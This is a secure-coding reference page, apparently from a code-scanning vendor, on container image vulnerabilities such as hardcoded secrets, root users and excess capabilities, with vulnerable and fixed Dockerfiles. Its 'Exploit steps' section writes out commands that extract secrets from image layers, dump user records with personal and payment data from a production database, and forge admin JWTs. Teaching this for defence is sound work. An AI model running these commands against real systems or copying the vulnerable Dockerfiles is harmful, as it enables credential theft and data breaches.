Container & Image Vulnerabilities

DockerContainer SecurityImage VulnerabilitiesKubernetes

Container & Image Vulnerabilities at a glance

What it is: Security vulnerabilities in container images and runtime configurations including outdated base images, embedded secrets, excessive privileges, and vulnerable dependencies.
Why it happens: Container vulnerabilities occur when images are outdated, run as root, contain embedded secrets, use excessive privileges or unsafe mounts, rely on untrusted sources, or lack security scanning in builds.
How to fix: Use minimal, up-to-date base images, scan for vulnerabilities, avoid embedding secrets, and run containers with non-root users and read-only filesystems.

Overview

Containers package applications with their dependencies, but this convenience can also package security vulnerabilities. Container security requires vigilance across the entire lifecycle: base image selection, build process, secret management, and runtime configuration.

Common container vulnerabilities include using outdated base images with known CVEs, embedding secrets (API keys, passwords) in image layers, running containers as root, mounting sensitive host directories, using overly broad capabilities, pulling images from untrusted registries, and missing vulnerability scanning in CI/CD pipelines.

sequenceDiagram participant Dev as Developer participant Image as Container Image participant Registry participant Attacker Dev->>Image: Build with ENV API_KEY=secret123 Dev->>Registry: Push image Attacker->>Registry: Pull public image Attacker->>Attacker: Extract layers Attacker->>Attacker: Find API_KEY in layer history Attacker->>Attacker: Use stolen credentials Note over Image: Secret embedded in image layer<br/>Visible to anyone with image access
A potential flow for a Container & Image Vulnerabilities exploit

Where it occurs

Container vulnerabilities occur in images or deployments with outdated packages, embedded secrets, root privileges, excessive permissions, untrusted sources, or missing security scanning in pipelines.

Impact

Container vulnerabilities lead to application compromise through vulnerable dependencies, container escape and host system access, secret exposure affecting multiple environments, privilege escalation from root containers, lateral movement through shared networks, supply chain attacks through compromised images, and compliance violations.

Prevention

Prevent container compromise by using minimal, up-to-date images, scanning for vulnerabilities, avoiding embedded secrets, running as non-root with limited capabilities, enforcing resource and network limits, signing images, and using security profiles.

Examples

Switch tabs to view language/framework variants.

Docker image contains hardcoded credentials

Secrets embedded in Docker image layers.

Vulnerable
Dockerfile • Docker — Bad
FROM node:18
WORKDIR /app
COPY . .
# BUG: Hardcoded secret in image
ENV API_KEY=sk-1234567890abcdef
RUN npm install
CMD ["npm", "start"]
  • Line 5: Hardcoded secret in ENV

Secrets in images are visible to anyone who can pull the image.

Secure
Dockerfile • Docker — Good
FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
# Don't hardcode secrets - use secrets management
CMD ["npm", "start"]

# Use secrets at runtime:
# docker run -e API_KEY="$(cat /run/secrets/api_key)" company/app
  • Line 7: No embedded secrets
  • Line 10: Runtime secret injection

Use Docker secrets, Kubernetes secrets, or environment variables at runtime.

Engineer Checklist

  • Use minimal base images (alpine, distroless)

  • Scan images for vulnerabilities in CI/CD pipeline

  • Update base images and dependencies regularly

  • Never embed secrets in Dockerfile or image layers

  • Use secret management (Vault, Kubernetes Secrets, AWS Secrets Manager)

  • Run containers as non-root user (USER directive)

  • Use read-only root filesystem where possible

  • Drop unnecessary Linux capabilities

  • Implement resource limits (CPU, memory)

  • Sign and verify container images

  • Pull images only from trusted registries

  • Don't mount sensitive host directories

  • Use network policies to restrict communication

  • Implement AppArmor/SELinux profiles

  • Scan for secrets in images before pushing

End-to-End Example

A container image embeds database credentials in an environment variable, exposing them to anyone who can pull the image.

Vulnerable
DOCKERFILE
# Vulnerable Dockerfile
FROM node:14
ENV DATABASE_PASSWORD=supersecret123
COPY . /app
CMD ["node", "server.js"]
Secure
DOCKERFILE
# Secure Dockerfile
FROM node:14-alpine
# Run as non-root
RUN addgroup -g 1001 -S nodejs && adduser -S nodejs -u 1001
USER nodejs
COPY --chown=nodejs:nodejs . /app
WORKDIR /app
# Secrets injected at runtime from secret manager
CMD ["node", "server.js"]

Discovery

Pull container images and examine layer history with 'docker history' or extract filesystem to find embedded secrets.

  1. 1. Inspect image layer history for secrets

    cli

    Action

    docker history company/app:latest --no-trunc | grep -iE '(password|secret|key|token)'

    Expected Result

    ENV DATABASE_PASSWORD=prod_db_pass_2024 visible in layer at step 4/12, along with AWS_SECRET_KEY in step 7/12

    Artifacts

    database_credentials aws_keys plaintext_secrets
  2. 2. Extract and search filesystem layers

    cli

    Action

    docker save company/app:latest -o app.tar && tar -xf app.tar && find . -name '*.json' -o -name '*.env' | xargs grep -i secret

    Expected Result

    Multiple config files contain hardcoded API keys, database URLs with embedded credentials, and JWT signing secrets

    Artifacts

    config_leakage api_keys jwt_secrets
  3. 3. Check container security context

    cli

    Action

    docker inspect company/app:latest | jq '.[]|{User:.Config.User, Privileged:.HostConfig.Privileged, Capabilities:.HostConfig.CapAdd}'

    Expected Result

    User field is empty (runs as root), CapAdd includes SYS_ADMIN and NET_ADMIN

    Artifacts

    root_execution excessive_capabilities privileged_mode

Exploit steps

Attacker obtains container image, extracts layers, and finds embedded credentials in environment variables or configuration files, then uses them to access production systems.

  1. 1. Harvest credentials from public registry

    cli

    Action

    docker pull company/api:v2.3.1 && docker history company/api:v2.3.1 --no-trunc --format '{{.CreatedBy}}' | grep -oE 'ENV [A-Z_]+=.+' > secrets.txt

    Response

    Extracted DATABASE_URL=postgresql://admin:S3cr3tP@ss@prod-db.internal:5432/maindb, STRIPE_SECRET_KEY=sk_live_51Hx..., JWT_SECRET=my-super-secret-key-2024

    Artifacts

    database_url stripe_api_key jwt_signing_secret production_access
  2. 2. Break into production database

    cli

    Action

    psql postgresql://admin:S3cr3tP@ss@prod-db.internal:5432/maindb -c 'SELECT email, password_hash, credit_card_last4 FROM users LIMIT 10000;'

    Response

    Successfully connected to production database. Extracted 10,000 user records including PII and payment information.

    Artifacts

    user_pii password_hashes payment_data gdpr_breach
  3. 3. Forge admin JWT tokens

    cli

    Action

    Use extracted JWT secret to create admin tokens: jwt encode --secret 'my-super-secret-key-2024' '{"user_id":1,"role":"admin","exp":9999999999}'

    Response

    Generated valid admin JWT. Used to access /admin/users endpoint and create new admin accounts.

    Artifacts

    forged_jwt admin_access account_creation platform_takeover

Specific Impact

Secret exposure leading to unauthorized database access, API abuse, and potential compromise of multiple environments using the same credentials.

Fix

Never embed secrets in container images. Use runtime secret injection from secure secret management systems. Run containers as non-root users. Use minimal base images to reduce vulnerabilities.

Detect This Vulnerability in Your Code

Sourcery automatically identifies container & image vulnerabilities vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free